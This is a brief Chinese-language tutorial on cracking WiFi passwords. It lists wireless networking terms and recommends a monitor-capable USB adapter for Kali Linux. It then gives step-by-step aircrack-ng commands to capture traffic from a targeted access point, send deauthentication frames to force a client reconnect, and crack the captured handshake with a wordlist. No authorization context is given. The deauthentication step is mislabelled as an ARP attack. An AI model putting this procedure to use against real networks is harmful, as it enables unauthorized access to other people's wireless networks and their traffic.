wifi 破解

基础的知识:

　　ESSID ：无线网络的名字

　　BSSID  ：是AP的mac地址

　　CH： 工作信道

　　AP   ：无线访问接入点

　　WEP

　　WPA/WPA2

　　STATION   ：客户机mac

　　DHCP服务  ：自动分配内网ip

　　SSID广播：

　　路由器

　　交换机

　　LOST Frames是交互数据量

(1)准备工作：

买一个usb无线网卡，TL-WN722N，就这个型号国内比较常见，kali直接能认。

奶瓶破解，，arp欺骗，

　　ARP协议就是将IP地址转换MAC地址的协议。

买外置的无线网卡要芯片是8187的，无线网卡芯片什么，一般用 rtl8187L  或者 rl3070  芯片

(2)

　　reboot      重启linux

　　先ifconfig   查看一下网卡是否正常

　　airmon-ng start wlan0          进入监听模式

　　airodump-ng  -w Amore(文件名) mon0(适配器的名字)    抓包

　　airodump-ng  -w Amore -c 1(信道的名字) mon0

　　信道要看要攻击的 AP是在哪个信道就写哪个

(3)

　　然后arp攻击：重新打开shell        输入：aireplay-ng -0 10(次数) -a Ap的mac地址 -c 客户机mac地址 mon0

　　aircrack-ng  -w 密码包的地址 Amore-*.cap   //Amore为导出的文件名，Amore-1.cap  Amore-2.cap     *表示所有的.cap

　　然后输入索要破解的对应的最前面的序号